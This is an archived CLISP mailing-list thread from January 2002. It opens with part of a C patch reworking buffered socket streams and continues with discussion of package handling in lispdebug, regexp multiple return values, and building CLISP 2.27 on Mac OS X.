       # fetch next Byte:
@@ -7051,7 +7075,7 @@
     &TheSbvector(TheStream(stream)->strm_bitbuffer)->data[0];
   var uintL count = bitsize;
   var uintL bitshift = BufferedStream_bitindex(stream);
-  var uintB* ptr = buffered_nextbyte(stream);
+  var uintB* ptr = buffered_nextbyte(stream,0);
   if (ptr != (uintB*)NULL) {
     # start getting bytes:
     var uint16 bit_akku = (*ptr)>>bitshift;
@@ -7062,7 +7086,7 @@
       # bit_akku: bits (bitshift-1)..0 are valid.
       # have to get count (>0) bits.
       {
-        var uintB* ptr = buffered_nextbyte(stream);
+        var uintB* ptr = buffered_nextbyte(stream,0);
         if (ptr == (uintB*)NULL)
           goto eof;
         # get next byte:
@@ -7076,7 +7100,7 @@
       count -= 8;
     }
     # count > 0 -- the number of bits to get
-    ptr = buffered_nextbyte(stream);
+    ptr = buffered_nextbyte(stream,0);
     if (ptr == (uintB*)NULL) # EOF ?
       bit_akku = *buffered_eofbyte(stream);
     *bitbufferptr = (uint8)(bit_akku & (uint8)(bit(count)-1));
@@ -7121,7 +7145,7 @@
 
 # READ-BYTE - Pseudo-Function for File-Streams of Integers, Type au, bitsize = 8 :
 local object rd_by_iau8_buffered (object stream) {
-  var uintB* ptr = buffered_nextbyte(stream);
+  var uintB* ptr = buffered_nextbyte(stream,0);
   if (!(ptr == (uintB*)NULL)) {
     var object obj = fixnum(*ptr);
     # increment index and position
@@ -7152,9 +7176,15 @@
 #             ls_eof   if EOF is reached,
 #             ls_wait  if no byte is available, but not because of EOF
 local signean listen_byte_ia8_buffered (object stream) {
-  if (buffered_nextbyte(stream) == (uintB*)NULL)
-    return ls_eof; # EOF
-  return ls_avail;
+  var bool might_block = false;
+  var uintB* ptr = buffered_nextbyte(stream,&might_block);
+  if (ptr)
+    return ls_avail;
+  elif (!might_block)
+    return ls_eof;
+  else
+    return low_listen_handle (stream, strm_buffered_bufflen,
+                              handle_buffered_read);
 }
 
 # Output side
@@ -7179,7 +7209,7 @@
 # write last byte (count bits):
 #define WRITE_LAST_BYTE                                                 \
  if (!(count==0)) {                                                     \
-   ptr = buffered_nextbyte(stream);                                     \
+   ptr = buffered_nextbyte(stream,0);                                     \
    if (ptr == (uintB*)NULL) { /* EOF */                                 \
      ptr = buffered_eofbyte(stream); /* 1 Byte */                       \
      *ptr = (uint8)bit_akku; /* write byte */                           \
@@ -7199,7 +7229,7 @@
   var uintL bitshift = BufferedStream_bitindex(stream);
   var uint16 bit_akku = (uint16)(TheSbvector(TheStream(stream)->strm_bitbuffer)->data[0])<<bitshift;
   var uintL count = bitsize;
-  var uintB* ptr = buffered_nextbyte(stream);
+  var uintB* ptr = buffered_nextbyte(stream,0);
   # start getting bytes:
   if (!(ptr == (uintB*)NULL))
     bit_akku |= (*ptr)&(bit(bitshift)-1);
@@ -7225,7 +7255,7 @@
   var uintL bitshift = BufferedStream_bitindex(stream);
   var uintL count = bitsize;
   var uint16 bit_akku;
-  var uintB* ptr = buffered_nextbyte(stream);
+  var uintB* ptr = buffered_nextbyte(stream,0);
   # start getting bytes:
   bit_akku = (ptr==(uintB*)NULL ? 0 : (*ptr)&(bit(bitshift)-1) );
   count += bitshift;
@@ -7378,9 +7408,10 @@
   if (!BufferedStream_blockpositioning(stream)) {
     # Now position at the End:
     BufferedStream_buffstart(stream) = eofbytes;
-    BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+    BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
     BufferedStream_index(stream) = 0; # index := 0
     BufferedStream_modified(stream) = false; # unmodified
+    BufferedStream_eof_hit(stream) = true; # unmodified
   } else { # position to the start of the last Sector:
     {
       var uintL buffstart;
@@ -7392,17 +7423,17 @@
       BufferedStream_buffstart(stream) = buffstart;
     }
     # read Sector:
-    BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+    BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
     BufferedStream_index(stream) = 0; # index := 0
     BufferedStream_modified(stream) = false; # unmodified
     var uintL eofindex = eofbytes % strm_buffered_bufflen;
     if (!((eofindex==0) && (eofbits==0))) { # EOF at end of Sector -> nothing to read
-      buffered_nextbyte(stream);
+      buffered_nextbyte(stream,0);
       # Now index=0. set index and eofindex:
       BufferedStream_index(stream) = eofindex;
       if (!(eofbits==0))
         eofindex += 1;
-      BufferedStream_eofindex(stream) = eofindex;
+      BufferedStream_endvalid(stream) = eofindex;
     }
   }
   if (!((bitsize % 8) == 0)) { # Integer-Stream of type b,c
@@ -7534,7 +7565,8 @@
         stream = popSTACK();
         BufferedStream_buffer(stream) = buffer;
       }
-      BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+      BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
+      BufferedStream_eof_hit(stream) = false;
       BufferedStream_index(stream) = 0; # index := 0
       BufferedStream_modified(stream) = false; # Buffer unmodified
       BufferedStream_position(stream) = 0; # position := 0
@@ -7688,7 +7720,7 @@
       var uintL eofposition = 0;
       var uintC count;
       for (count=0; count < 8*sizeof(uintL); count += 8 ) {
-        var uintB* ptr = buffered_nextbyte(stream);
+        var uintB* ptr = buffered_nextbyte(stream,0);
         if (ptr == (uintB*)NULL)
           goto too_short;
         eofposition |= ((*ptr) << count);
@@ -7866,7 +7898,7 @@
   # and reposition:
   var uintL position = BufferedStream_buffstart(stream) + BufferedStream_index(stream);
   BufferedStream_index(stream) = 0; # index := 0
-  BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid
+  BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid
   if (!BufferedStream_blockpositioning(stream)) {
     BufferedStream_buffstart(stream) = position;
   } else {
@@ -7892,7 +7924,7 @@
   BufferedStream_channel(stream) = NIL; # Handle becomes invalid
   BufferedStream_buffer(stream) = NIL; # free Buffer
   BufferedStream_buffstart(stream) = 0; # delete buffstart (unnecessary)
-  BufferedStream_eofindex(stream) = eofindex_all_invalid; # delete eofindex (unnecessary)
+  BufferedStream_endvalid(stream) = 0; # delete eofindex (unnecessary)
   BufferedStream_index(stream) = 0; # delete index (unnecessary)
   BufferedStream_modified(stream) = false; # delete modified_flag (unnecessary)
   BufferedStream_position(stream) = 0; # delete position (unnecessary)
@@ -14866,6 +14898,56 @@
   }
 }
 
+local SOCKET stream_handle (object stream) {
+  if (builtin_stream_p(stream)) {
+    switch (TheStream(stream)->strmtype) {
+      case strmtype_socket:
+        return SocketChannel(test_socket_stream(stream,true));
+      case strmtype_pipe_in:
+        return (SOCKET)TheHandle(ChannelStream_buffered(stream)
+                                 ? BufferedStream_channel (stream)
+                                 : ChannelStream_ichannel (stream));
+      case strmtype_pipe_out:
+        return (SOCKET)TheHandle(ChannelStream_buffered(stream)
+                                 ? BufferedStream_channel (stream)
+                                 : ChannelStream_ochannel (stream));
+      default:
+        break;
+    }
+  }
+  pushSTACK(stream);       # TYPE-ERROR slot DATUM
+  pushSTACK(S(stream)); # TYPE-ERROR slot EXPECTED-TYPE
+  pushSTACK(stream);
+  pushSTACK(TheSubr(subr_self)->name);
+  fehler(type_error,GETTEXT("~: argument ~ is not a SOCKET-STREAM"));
+}
+
+local object reduce_stream (object stream, direction_t dir) {
+  if (builtin_stream_p(stream)) {
+    switch (TheStream(stream)->strmtype) {
+      case strmtype_twoway_socket:
+        return dir==DIRECTION_INPUT
+               ? TheStream(stream)->strm_twoway_socket_input
+               : TheStream(stream)->strm_twoway_socket_output;
+      case strmtype_pipe_in:
+      case strmtype_pipe_out:
+      case strmtype_socket:
+        return stream;
+      case strmtype_twoway:
+        return dir==DIRECTION_INPUT
+               ? reduce_stream(TheStream(stream)->strm_twoway_input,dir)
+               : reduce_stream(TheStream(stream)->strm_twoway_output,dir);
+      default:
+        break;
+    }
+  }
+  pushSTACK(stream);       # TYPE-ERROR slot DATUM
+  pushSTACK(S(stream)); # TYPE-ERROR slot EXPECTED-TYPE
+  pushSTACK(stream);
+  pushSTACK(TheSubr(subr_self)->name);
+  fehler(type_error,GETTEXT("~: argument ~ is not a SOCKET-STREAM"));
+}
+
 # set the appropriate fd_sets for the socket,
 # either a socket-server, a socket-stream or a (socket . direction)
 # see socket_status() for details
@@ -14873,13 +14955,23 @@
                        fd_set *errorfds) {
   object sock = (consp(socket) ? Car(socket) : socket);
   direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO);
-  SOCKET handle = socket_handle(sock,true);
-  FD_SET(handle,errorfds);
   if (socket_server_p(sock)) {
-    if (READ_P(dir)) FD_SET(handle,readfds);
-  } else { # sock is a socket stream
-    if (READ_P(dir)  && input_stream_p(sock))  FD_SET(handle,readfds);
-    if (WRITE_P(dir) && output_stream_p(sock)) FD_SET(handle,writefds);
+    if (READ_P(dir)) {
+      SOCKET handle = socket_handle(sock,true);
+      FD_SET(handle,readfds);
+      FD_SET(handle,errorfds);
+    }
+  } else { # sock should be a stream
+    if (READ_P(dir)  && input_stream_p(sock)) {
+      SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_INPUT));
+      FD_SET(handle,readfds);
+      FD_SET(handle,errorfds);
+    }
+    if (WRITE_P(dir) && output_stream_p(sock)) {
+      SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_OUTPUT));
+      FD_SET(handle,writefds);
+      FD_SET(handle,errorfds);
+    }
   }
 }
 
@@ -14891,22 +14983,34 @@
                            fd_set *errorfds) {
   object sock = (consp(socket) ? Car(socket) : socket);
   direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO);
-  SOCKET handle = socket_handle(sock,true);
-  if (FD_ISSET(handle,errorfds)) return S(Kerror);
-  else {
-    if (socket_server_p(sock)) {
-      return FD_ISSET(handle,readfds) ? T : NIL;
-    } else {
-      bool wr = WRITE_P(dir) && FD_ISSET(handle,writefds),
-        rd = (READ_P(dir) && FD_ISSET(handle,readfds)
-              && (ls_avail_p(stream_char_p(sock)
-                             ? listen_char(sock)
-                             : listen_byte(sock))));
-      if      ( rd && !wr) return S(Kinput);
-      else if (!rd &&  wr) return S(Koutput);
-      else if ( rd &&  wr) return S(Kio);
-      else                 return NIL;
-    }
+  if (socket_server_p(sock)) {
+    SOCKET handle = socket_handle(sock,true);
+    if (FD_ISSET(handle,errorfds)) return S(Kerror);
+    return FD_ISSET(handle,readfds) ? T : NIL;
+  } else {
+    bool wr = 0, rd = 0, in_err = 0, out_err = 0;
+    if (WRITE_P(dir)) {
+      SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_OUTPUT));
+      wr = FD_ISSET(handle,writefds);
+      out_err = FD_ISSET(handle,errorfds);
+    }
+    if (READ_P(dir)) {
+      object str = reduce_stream(sock,DIRECTION_INPUT);
+      SOCKET handle = stream_handle(str);
+      in_err = FD_ISSET(handle, errorfds);
+      if (FD_ISSET(handle,readfds)
+#if 0
+          && (ls_avail_p(stream_char_p(str)
+                         ? listen_char(str)
+                         : listen_byte(str)))
+#endif
+          )
+        rd = 1;
+    }
+    if      ( rd && !wr) return S(Kinput);
+    else if (!rd &&  wr) return S(Koutput);
+    else if ( rd &&  wr) return S(Kio);
+    else                 return NIL;
   }
   return NIL;
 }
Index: unixaux.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/unixaux.d,v
retrieving revision 1.20
diff -u -r1.20 unixaux.d
--- unixaux.d	2001/02/05 19:29:45	1.20
+++ unixaux.d	2002/01/21 18:40:30
@@ -279,20 +279,12 @@
       # does not specify anything about possible side effects.
       handle_fault_range(PROT_READ_WRITE,(aint)buf,(aint)buf+nbyte);
       #endif
-      until (nbyte==0) {
-        retval = read(fd,buf,nbyte);
-        if (retval == 0)
-          break;
-        elif (retval < 0) {
-          #ifdef EINTR
-          if (!(errno == EINTR))
-          #endif
-            return retval;
-        } else {
-          buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval;
-        }
-      }
-      return done;
+    again:
+      retval = read(fd,buf,nbyte);
+      if (retval < 0 && errno == EINTR)
+        goto again;
+      else
+        return retval;
     }
 
 # Ein Wrapper um die write-Funktion.

--=-=-=--


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On 21 Jan 2002 09:36:21 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c4b98b5.248801796@smtp.interaccess.com>
>> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
>> * Sent on Mon, 21 Jan 2002 04:29:36 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> On 20 Jan 2002 10:04:31 -0500, Sam Steingold <sds@gnu.org> wrote:
>>=20
>> >set *package-tasks-treat-specially* to NIL.
>> >(this is the default in the CVS)
>> >
>> >when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c =
are
>> >treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)),
>> >which is good for "novice users" (for some definition of a novice).
>> >
>> >these days everyone knows to use DEFPACKAGE, so it's okay to turn =
this
>> >off.=20
>> Can you be a bit more specific?
>> Your approach doesn't seem to be working.
>
>what did you do?  I am not clairvoyant (unfortunately).
>
>(describe '*package-tasks-treat-specially*) =3D=3D> ?
I put:
(setf *package-tasks-treat-specially* nil) at the begining of every
file in the package ( well every clisp relevant file I left things
like inst-cmucl.lisp alone ). I went on the open projects IRC
yesterday night and the help there indicated that the in-package
call was to blame. But I still kept getting all kinds of errors which
I was unable to resolve so I've basically given up. At this point the
source is to corrupt with changes to make it work anywhere as it
was intended, but has too many changes to abandon willy nilly.

What I need to do now is flush both clisp and lispdebug and start=20
with a new install. ( Recording what I consider important changes to
both. BTW for clisp it is just using the "full" images instead of the
base ones. ) Then archive that so I can recover from changes. That
takes a lor of time, and at the moment my productivity with clisp is
0. So I take a break and increase my productivity before tackling it.

Here is more or less what I've done till this point:=20
1) Replaced in-package with some form of:
(setf p (find-package p-name))
(if (package-exists p) ;pseudo-code here
     (setf *package* p))
as was appropriate given the place in code
( eg I didn't add the if, if the code came after a make-package.)
2) I changed:
 (make-package "DEBUGGER")=20
to:
 (make-package "DEBUGGER"=20
       :use (find-package "COMMON-LISP-USER"=20
       :use (find-package "COMMON-LISP") )=20
Since I was initialially getting errors like
DEBUGGER::SHELL undefined and later other symbols were undefined.
I found I had to get both packages.
3) At that point I kep getting weird compile messages: things like
LOAD and EVAL not defined. Removing the outright "in-package"
substitutes, ( The ones called from a "global" line in the file. I
left the ones embedded in a defun alone. ) That got it to compile,
but it can't find the debugger.

The last desperate thing I tried to do was remove all references to
the package debugger, and just have it compile in the "global
namespace" (????). I went and modified the associated c code and
all the lisp files, and it still wants the DEBUGGER package.


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[let's try to move this to <clisp-devel> - Reply-To is set]

> * In message <m31ygjmt8a.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 21 Jan 2002 13:52:53 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> (Ignore the socket-status stuff, since you've already done that.)

I incorporated some of your suggestions too - check it out

BTW, what does this mean:
struct bar {
  bool foo : 8;
  /*       ^^^  what is this? */
}
it appears my C is no good anymore...

> The first makes it possible to use buffered streams when you don't
> have 4096 blocks of data to work with.  What I did is change the
> eofindex member of the stream to an 'endvalid' member, and added an
> explicit flag which indicates that the eof is at endvalid.  This
> actually simplified a number of things, though it's not complete, yet.
> I'm sure the eof_hit flag isn't set correctly in all cases.  The other
> piece needed for this is to change full_read in unixaux.d to return
> less than 4096 bytes of data if possible.  (Other _read functions
> would need to be similarly modified.)  With those changes buffered
> sockets are quite usable, though the hang problem still exists.

cool!  please keep going - I will not delve into this but wait for your
results.

BTW, what is this 4096 world constant?
why are you using it explicitly in the code - why not define a macro?

> Fixing the hang problem was worse.  I modified buffered_nextbyte to
> accept a bool* which means that the caller wants to know if
> buffered_nextbyte _might_ block.  Most existing callers of
> buffered_nextbyte just pass NULL and block if necessary, as before.
> listen_char and listen_byte, however, are interested, and if
> buffered_nextbyte might hang, they call low_listen_handle.
> low_listen_handle is what used to be low_listen_unbuffered_handle,
> minus the unbuffered stuff.  In the case where low_listen_handle has
> to resort to a read, it makes a callback with the read data so that it
> can be handled appropriately in the buffered and unbuffered cases.
> This last bit is quite ugly (and not totally correct at this point,
> either), and there's probably a better way to handle it.
> 
> Anyway, food for thought.  With these changes, my web proxy gets the
> same throughput for large downloads as I get with the C proxy I have
> been using, ~190K/s.  I.e. the limiting factor is my bandwidth.  When
> I have to use unbuffered sockets, the best it could do was ~30K/s.  So
> fixing this is a big win.
great!

> Comments appreciated.

1. use the latest CVS version - specifically, macros ChannelStream_[io]handle

2. why does your unixaux patch drop the "#ifdef EINTR" check?
   (I am not sure this is the only problem with that patch...)

3. shouldn't `end_valid' be uintL, not sintL?  eofindex had to be
   signed because it incorporated other - non-numeric - information too

you might want to split your patch into several smaller ones, e.g., a
separate patch replacing `eofindex' with `end_valid' and `eof_hit_p'
this would make reading the patches easier...

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> * In message <3c4e6ecf.303611203@smtp.interaccess.com>
> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
> * Sent on Mon, 21 Jan 2002 19:41:36 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> On 21 Jan 2002 09:36:21 -0500, Sam Steingold <sds@gnu.org> wrote:
> 
> >> On 20 Jan 2002 10:04:31 -0500, Sam Steingold <sds@gnu.org> wrote:
> >> 
> >> >set *package-tasks-treat-specially* to NIL.
> >> >
> >> >these days everyone knows to use DEFPACKAGE
> >(describe '*package-tasks-treat-specially*) ==> ?

please do evaluate this form to make sure that you do have the variable
(i.e., that your CLISP is recent enough).

> I put: (setf *package-tasks-treat-specially* nil) at the begining of
> every file in the package ( well every clisp relevant file I left
> things like inst-cmucl.lisp alone ).

this is an overkill.
you should just set the var once.

> Here is more or less what I've done till this point: 
> 1) Replaced in-package with some form of:
> (setf p (find-package p-name))
> (if (package-exists p) ;pseudo-code here
>      (setf *package* p))
> as was appropriate given the place in code
> ( eg I didn't add the if, if the code came after a make-package.)

this is wrong.
there are two forms you need: IN-PACKAGE and DEFPACKAGE
if you are not an expert, you should _never_ use anything else.
if you think you have to use other forms, you are probably wrong (unless
you _are_ an expert, _and_ you are writing something which works with
packages on a deeper level than just setting the working environment).

> 2) I changed:
>  (make-package "DEBUGGER") 
> to:
>  (make-package "DEBUGGER" 
>        :use (find-package "COMMON-LISP-USER" 
>        :use (find-package "COMMON-LISP") ) 
> Since I was initialially getting errors like
> DEBUGGER::SHELL undefined and later other symbols were undefined.
> I found I had to get both packages.

replace this with
(defpackage "DEBUGGER" (:use "CL" "EXT"))

> 3) At that point I kep getting weird compile messages: things like
> LOAD and EVAL not defined. Removing the outright "in-package"
> substitutes, ( The ones called from a "global" line in the file. I
> left the ones embedded in a defun alone. ) That got it to compile,
> but it can't find the debugger.

don't do this.

> The last desperate thing I tried to do was remove all references to
> the package debugger, and just have it compile in the "global
> namespace" (????). I went and modified the associated c code and
> all the lisp files, and it still wants the DEBUGGER package.

don't do this either.

I suggest that you
- make sure that your CLISP is 2.27
- make sure that *package-tasks-treat-specially* is NIL in your images
  (dump new images if necessary)
- get a clean lispdebug.
- replace
        (when (not (find-package "DEBUGGER")) (make-package "DEBUGGER"))
  (which is a pre-ANSI abomination) with
        (defpackage "DEBUGGER" (:use "CL" "EXT"))
  in debugger.lisp

report errors (or, better yet, success stories :-) here!

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On 21 Jan 2002 15:46:09 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c4e6ecf.303611203@smtp.interaccess.com>
>> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
>> * Sent on Mon, 21 Jan 2002 19:41:36 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> On 21 Jan 2002 09:36:21 -0500, Sam Steingold <sds@gnu.org> wrote:
>>=20
>> >> On 20 Jan 2002 10:04:31 -0500, Sam Steingold <sds@gnu.org> wrote:
>> >>=20
>> >> >set *package-tasks-treat-specially* to NIL.
>> >> >
>> >> >these days everyone knows to use DEFPACKAGE
>> >(describe '*package-tasks-treat-specially*) =3D=3D> ?
>
>please do evaluate this form to make sure that you do have the variable
>(i.e., that your CLISP is recent enough).
>
CLisp-2.27.
In fact I think this is the problem. The person who wrote it, got it
to work on one version and changes to Clisp have broken it.

It says the variable is nil.
>> I put: (setf *package-tasks-treat-specially* nil) at the begining of
>> every file in the package ( well every clisp relevant file I left
>> things like inst-cmucl.lisp alone ).
>
>this is an overkill.
>you should just set the var once.
>
But it is OK isn't it. Yeah it's overkill, but that way I'm sure the
variable is nil.

>> Here is more or less what I've done till this point:=20
>> 1) Replaced in-package with some form of:
>> (setf p (find-package p-name))
>> (if (package-exists p) ;pseudo-code here
>>      (setf *package* p))
>> as was appropriate given the place in code
>> ( eg I didn't add the if, if the code came after a make-package.)
>
>this is wrong.
>there are two forms you need: IN-PACKAGE and DEFPACKAGE
>if you are not an expert, you should _never_ use anything else.
>if you think you have to use other forms, you are probably wrong (unless
>you _are_ an expert, _and_ you are writing something which works with
>packages on a deeper level than just setting the working environment).
>
I'm not an expert, but I'm trying to get something to work that was
written by an expert. ( Or at least I believe he *thought* he was an
expert ;) )

The funny thing is that it seems that in-package causes a lot of
problems, by insisting on being evaluated during compiles and loads.
>> 2) I changed:
>>  (make-package "DEBUGGER")=20
>> to:
>>  (make-package "DEBUGGER"=20
>>        :use (find-package "COMMON-LISP-USER"=20
>>        :use (find-package "COMMON-LISP") )=20
>> Since I was initialially getting errors like
>> DEBUGGER::SHELL undefined and later other symbols were undefined.
>> I found I had to get both packages.
>
>replace this with
>(defpackage "DEBUGGER" (:use "CL" "EXT"))
>
I'll try this.

>> 3) At that point I kep getting weird compile messages: things like
>> LOAD and EVAL not defined. Removing the outright "in-package"
>> substitutes, ( The ones called from a "global" line in the file. I
>> left the ones embedded in a defun alone. ) That got it to compile,
>> but it can't find the debugger.
>
>don't do this.
>
>> The last desperate thing I tried to do was remove all references to
>> the package debugger, and just have it compile in the "global
>> namespace" (????). I went and modified the associated c code and
>> all the lisp files, and it still wants the DEBUGGER package.
>
>don't do this either.
>
>I suggest that you
>- make sure that your CLISP is 2.27
>- make sure that *package-tasks-treat-specially* is NIL in your images
>  (dump new images if necessary)
>- get a clean lispdebug.
>- replace
>        (when (not (find-package "DEBUGGER")) (make-package "DEBUGGER"))
>  (which is a pre-ANSI abomination) with
>        (defpackage "DEBUGGER" (:use "CL" "EXT"))
>  in debugger.lisp
>
>report errors (or, better yet, success stories :-) here!
I'll do this, it will take some time though since I'll write a script
which does all this. ( That way I guarantee that I have a fresh system
each time. )


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According to the documentation in rhe regexp manual,
match is supposed to return a list; the first value
is a regex_t describing the whole expression
the subsequent values are regex_t for each subgroup.
Trying this little program,

(use-package "REGEXP")

(setf t1 "abcdefghijklmnop")

(terpri)
(princ (match "abcdef" t1))=20
(terpri)
(princ (regexp:match "ab\\(c\\(def\\)\\)" t1))=20


the second match simply returns one value where if I understood
correctly, it should return three. How do I extract subgroups?


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On Wed, Jan 23, 2002 at 02:27:32PM +0000, Thaddeus L. Olczyk wrote:
> On 21 Jan 2002 15:46:09 -0500, Sam Steingold <sds@gnu.org> wrote:
> >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
> It says the variable is nil.
> >> I put: (setf *package-tasks-treat-specially* nil) at the begining of
> >> every file in the package ( well every clisp relevant file I left
> >> things like inst-cmucl.lisp alone ).
> >
> >this is an overkill.
> >you should just set the var once.
> >
> But it is OK isn't it. Yeah it's overkill, but that way I'm sure the
> variable is nil.

It really is better to set it once, really early (e.g. in your
configuration file). That way, you can be sure it's NIL when you need
it, whether the time you need it is at read time or EVAL-WHEN
:COMPILE-TOPLEVEL time or execution time or what. If you try to assign
it in each file, you get into subtleties about exactly when the
assignment is executed, and because of EVAL-WHEN, reader macros, and
the other times (e.g. macroexpansion time) that things can be executed
in Common Lisp, this can get trickier than you think.
 
> >> Here is more or less what I've done till this point: 
> >> 1) Replaced in-package with some form of:
> >> (setf p (find-package p-name))
> >> (if (package-exists p) ;pseudo-code here
> >>      (setf *package* p))
> >> as was appropriate given the place in code
> >> ( eg I didn't add the if, if the code came after a make-package.)
> >
> >this is wrong.
> >there are two forms you need: IN-PACKAGE and DEFPACKAGE
> >if you are not an expert, you should _never_ use anything else.
> >if you think you have to use other forms, you are probably wrong (unless
> >you _are_ an expert, _and_ you are writing something which works with
> >packages on a deeper level than just setting the working environment).
> >
> I'm not an expert, but I'm trying to get something to work that was
> written by an expert. ( Or at least I believe he *thought* he was an
> expert ;) )

I'll second Sam's advice here. Don't replace IN-PACKAGE with
hand-rolled code like that unless you're ready to spend some time
getting your mind around EVAL-WHEN, the reader, and the package
system. (When you are ready, that's fine. Learning those things is by
no means wasted time, since they can be useful. But there are lots of
other useful things you may be interested in learning first.)
 
(Or, if you are maintaining code where someone else uses hand-rolled
package code like that, then prepare to learn something about that
stuff, and hope that the original author and earlier maintainers were
relatively sane. Some don't use packages, some use IN-PACKAGE, and
some have #+FOO:BAR #.(SHADOWING-IMPORT BAZ:BLETCH) thrust upon
them.:-)

> The funny thing is that it seems that in-package causes a lot of
> problems, by insisting on being evaluated during compiles and loads.

IN-PACKAGE really needs to do that in order to do what it's supposed
to do. DEFPACKAGE does too. Consider a file like
  (cl:defpackage "FOO" (:use "CL") (:export "THIS" "THAT"))
  (cl:defpackage "BAR" (:use "CL") (:export "XXX" "YYY"))
  (cl:in-package "FOO")
  (defun this (x)
    (bar:xxx x (+ x 1) (+ x 2)))
If the DEFPACKAGEs aren't executed at compile time, then the form with
BAR:XXX will cause a reader error when COMPILE-FILE tries to READ the
form. If the IN-PACKAGE isn't executed at compile time, then the
definition of THIS will end up in whatever *PACKAGE* was bound to when
COMPILE-FILE is called, rather than in the FOO package as was
intended.

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Hi,

Just a quick message to let everybody know that clisp 2.27 builds out of 
the box on Mac OS X 10.1.2, just follow the instructions (./configure, 
make, ...). The only problem was a too small default stack size to 
complete the later steps in the build. Fix this with the command

limit stacksize 4096

in the default shell (applicable to that shell only), and the build will 
complete. All self-tests succeeded.

Great work guys, thanks!

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> * In message <3c4fc863.37263546@smtp.interaccess.com>
> * On the subject of "[clisp-list] Regexp question."
> * Sent on Wed, 23 Jan 2002 14:30:44 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> According to the documentation in rhe regexp manual,
> match is supposed to return a list; the first value

not a list, but multiple values

> is a regex_t describing the whole expression
> the subsequent values are regex_t for each subgroup.

please read <http://www.lisp.org/HyperSpec/Body/acc_values.html>
and the "See also" section there.

what you want to use is MULTIPLE-VALUE-BIND.

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Sven,

For BASH users, the equivalent invocation is this:

         ulimit -s 4096


Randall Schulz
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At 11:14 2002-01-23, Sven Van Caekenberghe wrote:
>Hi,
>
>Just a quick message to let everybody know that clisp 2.27 builds out of 
>the box on Mac OS X 10.1.2, just follow the instructions (./configure, 
>make, ...). The only problem was a too small default stack size to 
>complete the later steps in the build. Fix this with the command
>
>limit stacksize 4096
>
>in the default shell (applicable to that shell only), and the build will 
>complete. All self-tests succeeded.
>
>Great work guys, thanks!
>
>Sven
>
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> * In message <3c4ec44b.36215765@smtp.interaccess.com>
> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
> * Sent on Wed, 23 Jan 2002 14:27:32 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> On 21 Jan 2002 15:46:09 -0500, Sam Steingold <sds@gnu.org> wrote:
> 
> >> >(describe '*package-tasks-treat-specially*) ==> ?
> >
> >please do evaluate this form to make sure that you do have the variable
> >(i.e., that your CLISP is recent enough).
> >
> CLisp-2.27.
> It says the variable is nil.

okay. next time, when I take my time to type in a form, please do take
your time to copy and paste it into your (freshly started with a '-norc'
option) CLISP and then copy and paste the output into your reply.

> >> I put: (setf *package-tasks-treat-specially* nil) at the begining of
> >> every file in the package ( well every clisp relevant file I left
> >> things like inst-cmucl.lisp alone ).
> >
> >this is an overkill.
> >you should just set the var once.
> >
> But it is OK isn't it. Yeah it's overkill, but that way I'm sure the
> variable is nil.

you are making a mistake.
instead, make sure this variable is not set in any file you use.

if you want to get something done (and learn something in the process),
I suggest that you pay attention to the advice you are getting here.

> The funny thing is that it seems that in-package causes a lot of
> problems, by insisting on being evaluated during compiles and loads.

this is what IN-PACKAGE is required to do - by the CLHS.

> I'll do this, it will take some time though since I'll write a script
> which does all this. ( That way I guarantee that I have a fresh system
> each time. )

do _not_ waste your time writing scripts.
save old files and use diff(1) and patch(1) - included if you are on
a Unix, available with cygwin on woe32.

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On 23 Jan 2002 11:59:42 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c4ec44b.36215765@smtp.interaccess.com>
>> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?"
>> * Sent on Wed, 23 Jan 2002 14:27:32 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> On 21 Jan 2002 15:46:09 -0500, Sam Steingold <sds@gnu.org> wrote:
>>=20
>> >> >(describe '*package-tasks-treat-specially*) =3D=3D> ?
>> >
>> >please do evaluate this form to make sure that you do have the =
variable
>> >(i.e., that your CLISP is recent enough).
>> >
>> CLisp-2.27.
>> It says the variable is nil.
>
>okay. next time, when I take my time to type in a form, please do take
>your time to copy and paste it into your (freshly started with a '-norc'
>option) CLISP and then copy and paste the output into your reply.
>
Sorry I misunderstood.=20
Here is the output. { I also did=20
(symbol-plist '*package-tasks-treat-specially*)  since describe
suggested it. }
-------------------------------------------------------------------------=
------------------------------------------------------------------
calling clisp

[1]>=20

*PACKAGE-TASKS-TREAT-SPECIALLY* is the symbol
*PACKAGE-TASKS-TREAT-SPECIALLY*, lies in #<PACKAGE CUSTOM>, is
